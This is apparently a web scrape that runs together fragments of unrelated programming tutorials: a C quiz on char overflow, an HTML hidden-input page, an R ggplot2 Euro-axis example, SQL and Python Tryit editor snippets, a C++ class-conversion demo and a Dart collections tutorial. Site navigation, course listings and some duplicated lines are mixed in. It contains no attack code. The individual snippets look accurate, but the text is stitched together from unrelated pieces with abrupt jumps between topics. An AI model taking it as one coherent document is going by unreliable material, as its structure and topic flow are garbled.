memmove() is another library function that handles overlapping well.Write your own memcpy() and memmove()Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 
shrinathsswami
CPP-Library
C++
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
C | Data Types | Question 7

12 Dec, 2018
Assume that the size of char is 1 byte and negatives are stored in 2’s complement form
#include<stdio.h>int main(){    char c = 125;    c = c+10;    printf("%d", c);    return 0;}
(A) 135(B) +INF(C) -121(D) -8Answer: (C)Explanation: 125 is represented as 01111101 in binary and when we add 10 i.e 1010 in binary it becomes : 10000111. Now what does this number represent?Firstly, you should know that char can store numbers only -128 to 127 since the most significant bit is kept for sign bit. Therefore 10000111 represents a negative number. To check which number it represents we find the 2’s complement of it and get 01111001 which is = 121 in decimal system. Hence, the number 10000111 represents -121.Quiz of this Question
shaztri
C-Data Types
Data Types
C Quiz
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
C | Dynamic Memory Allocation | Question 7
C | Dynamic Memory Allocation | Question 5
C | Advanced Pointer | Question 1
C | File Handling | Question 5
C | Advanced Pointer | Question 9
C | File Handling | Question 2
C | Pointer Basics | Question 17
C | Pointer Basics | Question 4
C | Advanced Pointer | Question 2
C | Input and Output | Question 2
HTML <input type="hidden"> - GeeksforGeeks

29 May, 2019
The HTML <input type=”hidden”> is used to define a input Hidden field. A hidden field also includes those data that could not be seen or modified by the users when submitted the form. A hidden field only stores those database records that need to be updated when submitting the form.
Syntax:
<input type="hidden"> 
Example:
<!DOCTYPE html> <html>   <head>     <title>         HTML input type hidden    </title>           <style>         h1 {             color: green;         }         body {             text-align: center;         }     </style> </head>   <body>     <h1>         GeeksforGeeks     </h1>           <h3>         HTML <input type = "hidden">     </h3>           <form action="#">        <input type="hidden" id="myFile" value="1234">              Name: <input type="text">                  <input type="submit" value="Submit">    </form></body>   </html>                                    
Output:
Supported Browsers: The browsers supported by <input type=”hidden”> are listed below:
Google Chrome 1.0
Internet Explorer
Firefox 1.0
Safari 1.0
Opera 1.0
Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML  course.
HTML-Attributes
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to update Node.js and NPM to next version ?
How to Insert Form Data into Database using PHP ?
CSS to put icon inside an input element in a form
REST API (Introduction)
Types of CSS (Cascading Style Sheet)
Roadmap to Become a Web Developer in 2022
Installation of Node.js on Linux
How to fetch data from an API in ReactJS ?
Convert a string to an integer in JavaScript
How to calculate the number of days between two dates in javascript?
How to display Y-axis with Euro sign using ggplot2 in R?

When we have a Euro currency column in an R data frame as a response variable then we might to display the Euro sign in the plot created by using ggplot2 package. For this purpose, we can use scales package and the scale for Y axis will be changed by using the command scale_y_continuous(labels=dollar_format(suffix="€",prefix="")) to the plot command.
Consider the below data frame −
 Live Demo
x<-rpois(20,5)
y<-rpois(20,100)
df<-data.frame(x,y)
df
   x   y
1  8   112
2  10  81
3  4   97
4  7   104
5  4   98
6  5   99
7  5   97
8  7   97
9  5   95
10 3   98
11 6   92
12 6   80
13 6   92
14 6  108
15 7  113
16 4  103
17 3  106
18 2  116
19 4  105
20 6  83
Loading ggplot2 package and creating a scatterplot between x and y −
library(ggplot2)
ggplot(df,aes(x,y))+geom_point()
Loading scales package and creating the scatterplot with Euro sign displayed with Y-axis labels −
library(scales)
ggplot(df)+geom_point(aes(x,y))+scale_y_continuous(labels=dollar_format(suffix="€",prefix=""))
SQL Tryit Editor v1.6

SELECT * FROM Products
WHERE Price BETWEEN 10 AND 20;
​
Edit the SQL Statement, and click "Run SQL" to see the result.
This SQL-Statement is not supported in the WebSQL Database.
The example still works, because it uses a modified version of SQL.
Your browser does not support WebSQL.
Your are now using a light-version of the Try-SQL Editor, with a read-only Database.
If you switch to a browser with WebSQL support, you can try any SQL statement, and play with the Database as much as you like. The Database can also be restored at any time.
Our Try-SQL Editor uses WebSQL to demonstrate SQL.
A Database-object is created in your browser, for testing purposes.
You can try any SQL statement, and play with the Database as much as you like. The Database can be restored at any time, simply by clicking the "Restore Database" button.
WebSQL stores a Database locally, on the user's computer. Each user gets their own Database object.
WebSQL is supported in Chrome, Safari, Opera, and Edge(79).
If you use another browser you will still be able to use our Try SQL Editor, but a different version, using a server-based ASP application, with a read-only Access Database, where users are not allowed to make any changes to the data.
How to convert a class to another class type in C++?

In this tutorial, we will be discussing a program to understand how to convert a class to another class type in C/C++.
Class conversion can be done with the help of operator overloading. This allows data of one class type to be assigned to the object of another class type.
 Live Demo
#include <bits/stdc++.h>
using namespace std;
//type to which it will be converted
class Class_type_one {
   string a = "TutorialsPoint";
   public:
      string get_string(){
         return (a);
   }
   void display(){
      cout << a << endl;
   }
};
//class to be converted
class Class_type_two {
   string b;
   public:
   void operator=(Class_type_one a){
      b = a.get_string();
   }
   void display(){
      cout << b << endl;
   }
};
int main(){
   //type one
   Class_type_one a;
   //type two
   Class_type_two b;
   //type conversion
   b = a;
   a.display();
   b.display();
   return 0;
}
TutorialsPoint
TutorialsPoint
Dart Programming - Collection

Dart, unlike other programming languages, doesn’t support arrays. Dart collections can be used to replicate data structures like an array.  The dart:core library and other classes enable Collection support in Dart scripts.
Dart collections can be basically classified as −
A List is simply an ordered group of objects. The dart:core library provides the List class that enables creation and manipulation of lists.
Fixed Length List − The list’s length cannot change at run-time.
Fixed Length List − The list’s length cannot change at run-time.
Growable List − The list’s length can change at run-time.
Growable List − The list’s length can change at run-time.
Set represents a collection of objects in which each object can occur only once. The dart:core library provides the Set class to implement the same.
The Map object is a simple key/value pair. Keys and values in a map may be of any type.  A Map is a dynamic collection. In other words, Maps can grow and shrink at runtime. The Map class in the dart:core library provides support for the same.
A Queue is a collection that can be manipulated at both ends. Queues are useful when you want to build a first-in, first-out collection. Simply put, a queue inserts data from one end and deletes from another end. The values are removed / read in the order of their insertion.
The Iterator class from the dart:core library enables easy collection traversal. Every collection has an iterator property. This property returns an iterator that points to the objects in the collection.
The following example illustrates traversing a collection using an iterator object.
import 'dart:collection'; 
void main() { 
   Queue numQ = new Queue(); 
   numQ.addAll([100,200,300]);  
   Iterator i= numQ.iterator; 
   
   while(i.moveNext()) { 
      print(i.current); 
   } 
}
The moveNext() function returns a Boolean value indicating whether there is a subsequent entry. The current property of the iterator object returns the value of the object that the iterator currently points to.
This program should produce the following output −
100 
200 
300


    44 Lectures 
     4.5 hours 

 Sriyank Siddhartha

    34 Lectures 
     4 hours 

 Sriyank Siddhartha

    69 Lectures 
     4 hours 

 Frahaan Hussain

    117 Lectures 
     10 hours 

 Frahaan Hussain

    22 Lectures 
     1.5 hours 

 Pranjal Srivastava

    34 Lectures 
     3 hours 

 Pranjal Srivastava
 Print
 Add Notes
 Bookmark this page
Tryit Editor v3.7

Tryit: HTML paragraphs ignore spaces
Tryit Editor v3.6 - Show Python

c = camelcase.CamelCase()
​
txt = "lorem ipsum dolor sit amet"
​
print(c.hump(txt))
​
#This method capitalizes the first letter of each word.